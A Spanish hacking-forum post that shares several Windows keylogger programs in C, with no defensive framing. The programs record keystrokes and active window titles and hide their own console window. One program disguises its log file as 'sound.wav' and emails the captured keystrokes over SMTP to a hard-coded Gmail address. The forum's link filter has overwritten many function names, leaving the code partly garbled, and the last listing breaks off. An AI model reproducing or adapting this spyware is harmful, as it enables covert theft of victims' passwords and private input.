comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keyloggers C

  • 0 Respuestas
  • 2112 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5380
  • Actividad:
    76.67%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Mayo 22, 2011, 09:53:59 pm »
Características:
- Se inicia en la ruta donde sea ejecutado
  |No se añade al registro|
- Guarda un log de todos los sucesos así como de las teclas pulsadas,
  en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
Coded by Lympex - lympex[at]gmail[dot]com && No tienes permisos para ver links. Registrate o Entra con tu cuenta
*/
/*

Modificacion de keyloguer básico - Coded by P
------------------------------------------------

- Modificado el modo de indentificar las teclas.
- Cuando se pulsan 850 teclas tambien se guarda ( Sino nos da un error )


P - serxoker@yahoo.es

Código: C
  1. */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <windows.h>
  6. #include <time.h>
  7.  
  8. #define OK -32767
  9.  
  10. int main() {
  11.    
  12.     FILE *No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  13.     HWND ventana;    
  14.     time_t ltime;
  15.     int tecla=0;
  16.     int cont=0;
  17.     char TVentana[500] = "";                    
  18.     char Teclas[10240]=""; //      0  1      2          3          4  5          6  7  8              9       10
  19.     char simbol[256][15] =/*0*/  {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
  20.                           /*1*/      "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
  21.                           /*2*/      "","","","","","","[Esc]","","","",
  22.                           /*3*/      ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
  23.                           /*4*/      "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
  24.                           /*5*/      "3","4","5","6","7","8","9","","","",
  25.                           /*6*/      "","","","","a","b","c","d","e","f",
  26.                           /*7*/      "g","h","i","j","k","l","m","n","o","p",
  27.                           /*8*/      "q","r","s","t","u","v","w","x","y","z",
  28.                           /*9*/      "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
  29.                           /*10*/     "4","5","6","7","8","9","*","+"," ","-",".",
  30.                           /*11*/     "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
  31.                           /*12*/     "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
  32.                           /*13*/     " "," "," "," "," "," "," "," "," "," "," ",
  33.                           /*14*/     " "," ","[Bloq Num]"," "," "," "," "," "," ",
  34.                           /*15*/     " "," "," "," "," "," "," "," "," ","[Shift-I]",
  35.                           /*16*/     "[Shift-D]"," "," "," "," "," "," "," "," "," ",
  36.                           /*17*/     " "," "," "," "," "," "," "," "," "," ",
  37.                           /*18*/     " "," "," "," "," "," "," ",",","-",".",
  38.                           /*19*/     " "," "," "," "," "," "," "," "," ",
  39.                           /*20*/     " "," "," "," "," "," "," "," "," "," "," ",
  40.                           /*21*/     " "," "," "," "," "," "," "," ","'","\\",
  41.                           /*22*/     "¡","´" };
  42.      
  43.    No tienes permisos para ver links. Registrate o Entra con tu cuenta=No tienes permisos para ver links. Registrate o Entra con tu cuenta("log.log","a");
  44.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n/******************************/");
  45.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n/* [*]KeyLoGuer   */");
  46.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n/* [*]Iniciando...OK ");
  47.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n/******************************/");
  48.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta);
  49.            
  50.    ventana=GetForegroundWindow();
  51.    
  52.    while(1) {
  53.       if((GetForegroundWindow()!=ventana) || (cont==850)){
  54.          if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(TVentana)>0 && No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)>0) {
  55.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  56.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  57.  
  58.             No tienes permisos para ver links. Registrate o Entra con tu cuenta=No tienes permisos para ver links. Registrate o Entra con tu cuenta("log.log","a");
  59.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n\n[*] Fecha: %s",No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime));
  60.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"[*] Ventana: %s ",TVentana);
  61.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n[*] Texto: %s",Teclas);
  62.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n ");
  63.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n/******************************/\n");
  64.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta);
  65.  
  66.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas);
  67.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,"");
  68.             cont = 0;
  69.             }
  70.          ventana=GetForegroundWindow();
  71.          }
  72.       else {
  73.            GetWindowText(ventana,TVentana,500);
  74.            }
  75.       for(tecla=4;tecla<256;tecla++) {
  76.           if (GetAsyncKeyState(tecla)==OK) {
  77.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas,simbol[tecla]);
  78.               No tienes permisos para ver links. Registrate o Entra con tu cuenta(" %s \n" ,simbol[tecla]);
  79.               cont++;
  80.               }
  81.           }
  82.     }
  83. }



Código: C
  1. #include <stdio.h>
  2. #include <windows.h>
  3.  
  4. #define OK -32767
  5.  
  6. void main()
  7. {
  8.         /*jugamos con las teclas virtuales, en vez de con el código ascii, para poder usarlo con distintos idiomas*/
  9.         do
  10.         {
  11.                 /*TECLADO NUMÉRICO*/
  12.                 if(GetAsyncKeyState(VK_NUMPAD9)==OK)
  13.                 {
  14.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("9");
  15.                 }
  16.  
  17.                 if(GetAsyncKeyState(VK_NUMPAD8)==OK)
  18.                 {
  19.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("8");
  20.                 }
  21.  
  22.                 if(GetAsyncKeyState(VK_NUMPAD7)==OK)
  23.                 {
  24.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("7");
  25.                 }
  26.  
  27.                 if(GetAsyncKeyState(VK_NUMPAD6)==OK)
  28.                 {
  29.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("6");
  30.                 }
  31.  
  32.                 if(GetAsyncKeyState(VK_NUMPAD5)==OK)
  33.                 {
  34.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("5");
  35.                 }
  36.  
  37.                 if(GetAsyncKeyState(VK_NUMPAD4)==OK)
  38.                 {
  39.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("4");
  40.                 }
  41.  
  42.                 if(GetAsyncKeyState(VK_NUMPAD3)==OK)
  43.                 {
  44.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("3");
  45.                 }
  46.  
  47.                 if(GetAsyncKeyState(VK_NUMPAD2)==OK)
  48.                 {
  49.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("2");
  50.                 }
  51.  
  52.                 if(GetAsyncKeyState(VK_NUMPAD1)==OK)
  53.                 {
  54.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("1");
  55.                 }
  56.  
  57.                 if(GetAsyncKeyState(VK_NUMPAD0)==OK)
  58.                 {
  59.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("0");
  60.                 }
  61.  
  62.                 /*TECLAS ESPECIALES*/
  63.                 if(GetAsyncKeyState(VK_RETURN)==OK)
  64.                 {
  65.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("[Return]");
  66.                 }
  67.  
  68.                 if(GetAsyncKeyState(VK_SHIFT)==OK)
  69.                 {
  70.                         No tienes permisos para ver links. Registrate o Entra con tu cuenta("[Shift]");
  71.                 }
  72.  
  73.                 Sleep(100);
  74.         }while(1<2);
  75.         return;
  76. }



Código: C
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winuser.h>
  4. #include <windowsx.h>
  5. #include <time.h>
  6. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  7. char *emailsubject, char *emailmessage);
  8. #define BUFSIZE 800
  9. #define waittime 500
  10. #define cmailserver "gmail-smtp-in.l.google.com"
  11. #define cemailto "matthew12125@gmail.com"
  12. #define cemailfrom "matthew12125@gmail.com"
  13. #define LogLength 100
  14. #define FileName "sound.wav"
  15. #define SMTPLog "ring.wav"
  16. #define cemailsubject "Logged"
  17.  
  18. int test_key(void);
  19. int main(void)
  20. {
  21.    HWND stealth;
  22.    AllocConsole();
  23.    stealth=FindWindowA("ConsoleWindowClass",NULL);
  24.    ShowWindow(stealth,0);
  25.    
  26.    {FILE *file;
  27.    file=No tienes permisos para ver links. Registrate o Entra con tu cuenta(FileName,"a+");
  28.    time_t theTime=No tienes permisos para ver links. Registrate o Entra con tu cuenta(0);
  29.    No tienes permisos para ver links. Registrate o Entra con tu cuenta("\nStarted logging: ", file);
  30.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta(&theTime),file);
  31.    No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  32.    }
  33.    
  34.    int t=get_keys();    
  35.    return t;
  36. }  
  37.  
  38. int get_keys(void)
  39. {
  40. int freadindex;
  41. char *buf;
  42. long len;
  43. FILE *file;
  44. file=No tienes permisos para ver links. Registrate o Entra con tu cuenta(FileName,"a+");
  45.  
  46.  
  47.            short character;
  48.              while(1)
  49.              {
  50.              SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
  51.                     Sleep(50);
  52.                     for(character=8;character<=222;character++)
  53.                     {
  54.                         if(GetAsyncKeyState(character)==-32767)
  55.                         {  
  56.                             FILE *file;
  57.                             file=No tienes permisos para ver links. Registrate o Entra con tu cuenta(FileName,"a+");
  58.                             if(file==NULL)
  59.                             {
  60.                                     return 1;
  61.                             }            
  62.                             if(file!=NULL)
  63.                             {        
  64.                                     if((character>=39)&&(character<=64))
  65.                                     {
  66.                                           No tienes permisos para ver links. Registrate o Entra con tu cuenta(character,file);
  67.                                           No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  68.                                           break;
  69.                                     }        
  70.                                     else if((character>64)&&(character<91))
  71.                                     {
  72.                                           character+=32;
  73.                                           No tienes permisos para ver links. Registrate o Entra con tu cuenta(character,file);
  74.                                           No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  75.                                           break;
  76.                                     }
  77.                                     else
  78.                                     {
  79.                                         switch(character)
  80.                                         {
  81.                                               case VK_SPACE:
  82.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(' ',file);
  83.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  84.                                               break;    
  85.                                               case VK_SHIFT:
  86.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[SHIFT]\r\n",file);
  87.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  88.                                               break;                                            
  89.                                               case VK_RETURN:
  90.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[ENTER]\r\n",file);
  91.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  92.                                               break;
  93.                                               case VK_BACK:
  94.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[BACKSPACE]\r\n",file);
  95.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  96.                                               break;
  97.                                               case VK_TAB:
  98.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[TAB]\r\n",file);
  99.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  100.                                               break;
  101.                                               case VK_CONTROL:
  102.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[CTRL]\r\n",file);
  103.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  104.                                               break;    
  105.                                               case VK_DELETE:
  106.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[DEL]\r\n",file);
  107.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  108.                                               break;
  109.                                               case VK_OEM_1:
  110.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[;:]\r\n",file);
  111.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  112.                                               break;
  113.                                               case VK_OEM_2:
  114.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[/?]\r\n",file);
  115.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  116.                                               break;
  117.                                               case VK_OEM_3:
  118.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[`~]\r\n",file);
  119.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  120.                                               break;
  121.                                               case VK_OEM_4:
  122.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[ [{ ]\r\n",file);
  123.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  124.                                               break;
  125.                                               case VK_OEM_5:
  126.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[\\|]\r\n",file);
  127.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  128.                                               break;                                
  129.                                               case VK_OEM_6:
  130.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[ ]} ]\r\n",file);
  131.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  132.                                               break;
  133.                                               case VK_OEM_7:
  134.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n['\"]\r\n",file);
  135.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  136.                                               break;
  137.                                               case 187:
  138.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('+',file);
  139.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  140.                                               break;
  141.                                               case 188:
  142.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(',',file);
  143.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  144.                                               break;
  145.                                               case 189:
  146.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('-',file);
  147.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  148.                                               break;
  149.                                               case 190:
  150.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('.',file);
  151.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  152.                                               break;
  153.                                               case VK_NUMPAD0:
  154.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('0',file);
  155.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  156.                                               break;
  157.                                               case VK_NUMPAD1:
  158.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('1',file);
  159.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  160.                                               break;
  161.                                               case VK_NUMPAD2:
  162.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('2',file);
  163.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  164.                                               break;
  165.                                               case VK_NUMPAD3:
  166.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('3',file);
  167.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  168.                                               break;
  169.                                               case VK_NUMPAD4:
  170.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('4',file);
  171.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  172.                                               break;
  173.                                               case VK_NUMPAD5:
  174.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('5',file);
  175.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  176.                                               break;
  177.                                               case VK_NUMPAD6:
  178.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('6',file);
  179.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  180.                                               break;
  181.                                               case VK_NUMPAD7:
  182.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('7',file);
  183.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  184.                                               break;
  185.                                               case VK_NUMPAD8:
  186.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('8',file);
  187.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  188.                                               break;
  189.                                               case VK_NUMPAD9:
  190.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta('9',file);
  191.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  192.                                               break;
  193.                                               case VK_CAPITAL:
  194.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta("\r\n[CAPS LOCK]\r\n",file);
  195.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  196.                                               break;
  197.                                               default:
  198.                                               No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  199.                                               break;
  200.                                        }        
  201.                                   }    
  202.                              }        
  203.                    }    
  204.                }  
  205.                sleep (50);                
  206.            FILE *file;
  207.            file=No tienes permisos para ver links. Registrate o Entra con tu cuenta(FileName,"rb");
  208.            No tienes permisos para ver links. Registrate o Entra con tu cuenta(file,0,SEEK_END);
  209.            len=No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  210.            if(len>=LogLength) {
  211.              No tienes permisos para ver links. Registrate o Entra con tu cuenta(file,0,SEEK_SET);
  212.              buf=(char *)No tienes permisos para ver links. Registrate o Entra con tu cuenta(len);
  213.              freadindex=No tienes permisos para ver links. Registrate o Entra con tu cuenta(buf,1,len,file);
  214.              buf[freadindex] = '\0';
  215.              MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
  216.              No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  217.              file=No tienes permisos para ver links. Registrate o Entra con tu cuenta(FileName,"w");                        
  218.              }
  219.            
  220.             No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  221.                  
  222.            }
  223.            return EXIT_SUCCESS;                            
  224. }
  225.  
  226. int MailIt (char *mailserver, char *emailto, char *emailfrom,
  227. char *emailsubject, char *emailmessage) {
  228.       SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
  229.     SOCKET sockfd;
  230.     WSADATA wsaData;
  231.     FILE *smtpfile;
  232.    
  233.     #define bufsize 300
  234.     int bytes_sent;  
  235.     int err;
  236.     struct hostent *host;  
  237.     struct sockaddr_in dest_addr;  
  238.     char line[1000];
  239.     char *Rec_Buf = (char*) No tienes permisos para ver links. Registrate o Entra con tu cuenta(bufsize+1);
  240.     smtpfile=No tienes permisos para ver links. Registrate o Entra con tu cuenta(SMTPLog,"a+");
  241.     if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
  242.       No tienes permisos para ver links. Registrate o Entra con tu cuenta("WSAStartup failed",smtpfile);
  243.       WSACleanup();
  244.       return -1;
  245.     }
  246.     if ( (host=gethostbyname(mailserver)) == NULL) {
  247.        No tienes permisos para ver links. Registrate o Entra con tu cuenta("gethostbyname");
  248.        No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  249.     }
  250.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(&dest_addr,0,sizeof(dest_addr));
  251.     No tienes permisos para ver links. Registrate o Entra con tu cuenta(&(dest_addr.sin_addr),host->h_addr,host->h_length);
  252.  
  253.    
  254.      dest_addr.sin_family= host->h_addrtype;  
  255.      dest_addr.sin_port= htons(25);
  256.  
  257.      if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  258.         No tienes permisos para ver links. Registrate o Entra con tu cuenta("socket");
  259.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  260.         }
  261.         sleep (50);
  262.      No tienes permisos para ver links. Registrate o Entra con tu cuenta("Connecting....\n",smtpfile);
  263.  
  264.     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  265.         No tienes permisos para ver links. Registrate o Entra con tu cuenta("connect");
  266.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(1);
  267.         }
  268.      sleep(50);
  269.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  270.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  271.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"helo me.somepalace.com\n");
  272.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  273.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  274.      sleep(50);
  275.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  276.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  277.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"MAIL FROM:<");
  278.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailfrom,No tienes permisos para ver links. Registrate o Entra con tu cuenta(emailfrom));
  279.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,">\n",3);
  280.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  281.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  282.      sleep(50);
  283.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  284.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  285.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"RCPT TO:<");
  286.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailto,No tienes permisos para ver links. Registrate o Entra con tu cuenta(emailto));
  287.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,">\n",3);
  288.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  289.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  290.      sleep(50);
  291.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  292.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  293.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"DATA\n");
  294.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  295.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  296.      sleep(50);
  297.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  298.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  299.      sleep(50);
  300.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"To:");
  301.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailto);
  302.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"\n");
  303.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"From:");
  304.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailfrom);
  305.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"\n");
  306.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"Subject:");
  307.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailsubject);
  308.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"\n");
  309.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,emailmessage);
  310.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"\r\n.\r\n");
  311.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  312.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  313.      sleep(50);
  314.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  315.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  316.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,"quit\n");
  317.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(line,smtpfile);
  318.      bytes_sent=send(sockfd,line,No tienes permisos para ver links. Registrate o Entra con tu cuenta(line),0);
  319.      sleep(50);
  320.      err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
  321.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(Rec_Buf,smtpfile);
  322.      No tienes permisos para ver links. Registrate o Entra con tu cuenta(smtpfile);                          
  323.      #ifdef WIN32
  324.      closesocket(sockfd);
  325.      WSACleanup();
  326.      #else
  327.      close(sockfd);
  328.      #endif
  329. }
  330.  



Características:
   - Se inicia en la ruta donde sea ejecutado
   - No se añade al registro
   - Guarda un log de todos los sucesos así como de las teclas pulsadas,
     en el archivo "LgPh.log" con el título de la ventana y la fecha

- Contacto:
   Coded by Lympex - lympex[at]gmail[dot]com && No tienes permisos para ver links. Registrate o Entra con tu cuenta
Código: C
  1. */
  2.  
  3. /*cabeceras*/
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <windows.h>
  7. #include <time.h>
  8.  
  9. /*para el log*/
  10. FILE *No tienes permisos para ver links. Registrate o Entra con tu cuenta;
  11. /*esta constante nos indicará si se ha pulsado la tecla que indiquemos*/
  12. #define OK -32767
  13. /*para el hwnd de la ventana activa*/
  14. HWND ventana;
  15.  
  16. /*==============================================================
  17. ==============================================================*/
  18. void main(int argc, char *argv[])
  19. {
  20.         /*realiza un seguimiento de las teclas pulsadas*/
  21.         void KeyLogger();
  22.  
  23.         /*ocultamos la ventana antes que nada*/
  24.         ventana=GetForegroundWindow();
  25.         ShowWindow(ventana,SW_HIDE);
  26.  
  27.         /*abrimos el log*/
  28.         No tienes permisos para ver links. Registrate o Entra con tu cuenta=No tienes permisos para ver links. Registrate o Entra con tu cuenta("LgPh.log","a");
  29.  
  30.         /*escribimos en el log*/
  31.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n------------------------------------\n");
  32.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"[+] PhcKey 0.2 Log");
  33.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"\n[+] Iniciando keyloguer...");
  34.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta);
  35.         /*comenzamos a loguear teclas*/
  36.         KeyLogger();
  37. }
  38.  
  39.  
  40. /*==============================================================
  41.     ESTA FUNCIÓN ES LA QUE CAPTURA LAS TECLAS Y GUARDA EL LOG
  42. ==============================================================*/
  43. void KeyLogger()
  44. {
  45.         //para obtener la hora del equipo
  46.         time_t ltime;
  47.         /*obtiene el código ascii de la tecla pulsada*/
  48.         int tecla=0;
  49.         //para el texto de la vntana activa
  50.         char TVentana[500];
  51.         //para almacenar las teclas que se pulsan
  52.         char *Teclas;
  53.         int k; //para recorrer el código ascii de las letras
  54.         //el abecedario (reemplazamos el codigo ascii x la tecla según su posicion, para no crear 25 entradas en el switch)
  55.         char dominio[] = "abcdefghijklmnopqrstuvwxyz";
  56.         //idem
  57.         char dominio_num[] = "0123456789"; //para escanear el numpad
  58.  
  59.         //limpiamos el buffer del teclado para no mezclar
  60.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(stdin);
  61.  
  62.         /*comenzamos a loguear*/
  63.         No tienes permisos para ver links. Registrate o Entra con tu cuenta=No tienes permisos para ver links. Registrate o Entra con tu cuenta("LgPh.log","a");
  64.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta,"OK\n");
  65.         No tienes permisos para ver links. Registrate o Entra con tu cuenta(No tienes permisos para ver links. Registrate o Entra con tu cuenta);
  66.  
  67.         //cojemos el hwnd de la ventana activa
  68.         ventana=GetForegroundWindow();
  69.  
  70.         //guardamos la memoria
  71.         Teclas=No tienes permisos para ver links. Registrate o Entra con tu cuenta(1024,sizeof(char));
  72.         //mientras la variable 'loguea' sea TRUE
  73.         do
  74.         {
  75.                 /*MIRAMOS SI HA CAMBIADO DE VENTANA PARA GUARDAR LOS DATOS*/
  76.                 if(GetForegroundWindow()!=ventana) //si ha cambiado la ventana
  77.                 {
  78.                         if(No tienes permisos para ver links. Registrate o Entra con tu cuenta(TVentana)>0 && No tienes permisos para ver links. Registrate o Entra con tu cuenta(Teclas)>0) //si hay datos suficientes para loguear
  79.                         {
  80.                                 //cojemos la hora
  81.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  82.                                 No tienes permisos para ver links. Registrate o Entra con tu cuenta(&ltime);
  83.  
